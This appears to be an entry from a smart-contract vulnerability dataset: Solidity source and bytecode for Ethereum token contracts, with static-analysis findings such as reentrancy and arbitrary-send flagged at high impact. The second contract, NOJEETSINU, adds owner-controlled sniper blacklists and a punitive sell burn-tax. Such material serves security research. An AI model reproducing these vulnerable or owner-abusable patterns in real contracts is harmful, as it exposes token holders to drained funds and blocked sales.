if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < 12 && sell < 12 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063b2289c621161008a578063db92dbb611610064578063db92dbb6146104de578063dcb0e0ad146104f3578063dd62ed3e14610513578063e8078d941461055957600080fd5b8063b2289c6214610494578063c3c8cd80146104b4578063c9567bf9146104c957600080fd5b80638da5cb5b116100c65780638da5cb5b1461040157806394b8d8f21461041f57806395d89b411461043f578063a9059cbb1461047457600080fd5b806370a08231146103ac578063715018a6146103cc57806373f54a11146103e157600080fd5b8063313ce5671161015957806345596e2e1161013357806345596e2e1461032957806349bd5a5e14610349578063590f897e146103815780636fc3eaec1461039757600080fd5b8063313ce567146102d657806332d873d8146102fd57806340b9a54b1461031357600080fd5b806318160ddd1161019557806318160ddd146102665780631940d0201461028b57806323b872dd146102a157806327f3a72a146102c157600080fd5b806306fdde03146101c7578063095ea7b3146102145780630b78f9c01461024457600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101fe6040518060400160405280600b81526020016a2334b9b410371029b434b160a91b81525081565b60405161020b919061158f565b60405180910390f35b34801561022057600080fd5b5061023461022f3660046115f9565b61056e565b604051901515815260200161020b565b34801561025057600080fd5b5061026461025f366004611625565b610584565b005b34801561027257600080fd5b50670de0b6b3a76400005b60405190815260200161020b565b34801561029757600080fd5b5061027d600c5481565b3480156102ad57600080fd5b506102346102bc366004611647565b610631565b3480156102cd57600080fd5b5061027d610685565b3480156102e257600080fd5b506102eb600981565b60405160ff909116815260200161020b565b34801561030957600080fd5b5061027d600d5481565b34801561031f57600080fd5b5061027d60095481565b34801561033557600080fd5b50610264610344366004611688565b610695565b34801561035557600080fd5b50600854610369906001600160a01b031681565b6040516001600160a01b03909116815260200161020b565b34801561038d57600080fd5b5061027d600a5481565b3480156103a357600080fd5b5061026461075b565b3480156103b857600080fd5b5061027d6103c73660046116a1565b610768565b3480156103d857600080fd5b50610264610783565b3480156103ed57600080fd5b506102646103fc3660046116a1565b6107f7565b34801561040d57600080fd5b506000546001600160a01b0316610369565b34801561042b57600080fd5b50600e546102349062010000900460ff1681565b34801561044b57600080fd5b506101fe604051806040016040528060098152602001682324a9a42729a424a160b91b81525081565b34801561048057600080fd5b5061023461048f3660046115f9565b610865565b3480156104a057600080fd5b50600754610369906001600160a01b031681565b3480156104c057600080fd5b50610264610872565b3480156104d557600080fd5b50610264610888565b3480156104ea57600080fd5b5061027d61091d565b3480156104ff57600080fd5b5061026461050e3660046116cc565b610935565b34801561051f57600080fd5b5061027d61052e3660046116e9565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561056557600080fd5b506102646109b2565b600061057b338484610cfc565b50600192915050565b6000546001600160a01b031633146105b75760405162461bcd60e51b81526004016105ae90611722565b60405180910390fd5b600c821080156105c75750600c81105b80156105d4575060095482105b80156105e15750600a5481105b6105ea57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061063e848484610e20565b6001600160a01b038416600090815260036020908152604080832033845290915281205461066d90849061176d565b905061067a853383610cfc565b506001949350505050565b600061069030610768565b905090565b6000546001600160a01b031633146106bf5760405162461bcd60e51b81526004016105ae90611722565b6007546001600160a01b0316336001600160a01b0316146106df57600080fd5b6000811161071f5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064016105ae565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b476107658161125c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146107ad5760405162461bcd60e51b81526004016105ae90611722565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461081757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610750565b600061057b338484610e20565b600061087d30610768565b905061076581611296565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105ae90611722565b600e5460ff16156108ff5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105ae565b600e805460ff1916600117905542600d5566470de4df820000600c55565b600854600090610690906001600160a01b0316610768565b6000546001600160a01b0316331461095f5760405162461bcd60e51b81526004016105ae90611722565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610750565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016105ae90611722565b600e5460ff1615610a295760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105ae565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610a653082670de0b6b3a7640000610cfc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac79190611784565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b389190611784565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190611784565b600880546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610bd981610768565b600080610bee6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c56573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c7b91906117a1565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf891906117cf565b5050565b6001600160a01b038316610d5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ae565b6001600160a01b038216610dbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ae565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610e6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7e57503360009081526005602052604090205460ff16155b610e8757600080fd5b6001600160a01b038316610eeb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ae565b6001600160a01b038216610f4d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ae565b60008111610faf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ae565b600080546001600160a01b03858116911614801590610fdc57506000546001600160a01b03848116911614155b156111fd576008546001600160a01b03858116911614801561100c57506006546001600160a01b03848116911614155b801561103157506001600160a01b03831660009081526004602052604090205460ff16155b1561111657600e5460ff166110885760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016105ae565b42600d5460f061109891906117ec565b111561111257600c546110aa84610768565b6110b490846117ec565b11156111125760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016105ae565b5060015b600e54610100900460ff161580156111305750600e5460ff165b801561114a57506008546001600160a01b03858116911614155b156111fd57600061115a30610768565b905080156111e657600e5462010000900460ff16156111dd57600b546008546064919061118f906001600160a01b0316610768565b6111999190611804565b6111a39190611823565b8111156111dd57600b54600854606491906111c6906001600160a01b0316610768565b6111d09190611804565b6111da9190611823565b90505b6111e681611296565b4780156111f6576111f64761125c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061123f57506001600160a01b03841660009081526004602052604090205460ff165b15611248575060005b611255858585848661140a565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cf8573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112da576112da611845565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190611784565b8160018151811061136a5761136a611845565b6001600160a01b0392831660209182029290920101526006546113909130911684610cfc565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c990859060009086903090429060040161185b565b600060405180830381600087803b1580156113e357600080fd5b505af11580156113f7573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6000611416838361142c565b905061142486868684611450565b505050505050565b60008083156114495782156114445750600954611449565b50600a545b9392505050565b60008061145d848461152d565b6001600160a01b038816600090815260026020526040902054919350915061148690859061176d565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546114b69083906117ec565b6001600160a01b0386166000908152600260205260409020556114d881611561565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161151d91815260200190565b60405180910390a3505050505050565b60008080606461153d8587611804565b6115479190611823565b90506000611555828761176d565b96919550909350505050565b3060009081526002602052604090205461157c9082906117ec565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156115bc578581018301518582016040015282016115a0565b818111156115ce576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076557600080fd5b6000806040838503121561160c57600080fd5b8235611617816115e4565b946020939093013593505050565b6000806040838503121561163857600080fd5b50508035926020909101359150565b60008060006060848603121561165c57600080fd5b8335611667816115e4565b92506020840135611677816115e4565b929592945050506040919091013590565b60006020828403121561169a57600080fd5b5035919050565b6000602082840312156116b357600080fd5b8135611449816115e4565b801515811461076557600080fd5b6000602082840312156116de57600080fd5b8135611449816116be565b600080604083850312156116fc57600080fd5b8235611707816115e4565b91506020830135611717816115e4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561177f5761177f611757565b500390565b60006020828403121561179657600080fd5b8151611449816115e4565b6000806000606084860312156117b657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117e157600080fd5b8151611449816116be565b600082198211156117ff576117ff611757565b500190565b600081600019048311821515161561181e5761181e611757565b500290565b60008261184057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ab5784516001600160a01b031683529383019391830191600101611886565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202640bfa6b370c930de19e8f7479e71c50bc749d7c7eb7f2fcc175e25e4e2bbd764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,005
0x78a7b2dd32fef930d5d548cdfe8ac16d7ebd4e13
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ // SPDX-License-Identifier: Unlicensed /* FUCK OFF JEETS https://t.me/nojeetsinu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NOJEETSINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NOJEETSINU"; string private constant _symbol = "NOJEETSINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 public endTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress ; address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; bool private noJeetMode = false; uint256 public _startingPrice; uint256 public _maxTxAmount = 1e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e8 * 10**9 ; uint256 public _burnTokenCount = 0; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; if(noJeetMode){ if(getPrice()>_startingPrice.mul(100)|| block.timestamp > launchTime + 30 days ){ noJeetMode = false; } else{ uint256 burnRate = 100; burnRate = burnRate.sub(getPrice().div(_startingPrice)); require(burnRate < 89); _taxFee += burnRate; _burnTokenCount += amount.mul(burnRate).div(100); } } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; noJeetMode = true; _startingPrice = getPrice(); endTime = block.timestamp + 30 days; } function getPrice() public view returns (uint256){ address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uint256 amount = 10 ** _decimals; uint256 tokenPrice = uniswapV2Router.getAmountsOut(amount, path)[1]; return tokenPrice; } function setNoJeetMode(bool onoff) external onlyOwner{ noJeetMode = onoff; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e7 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } }
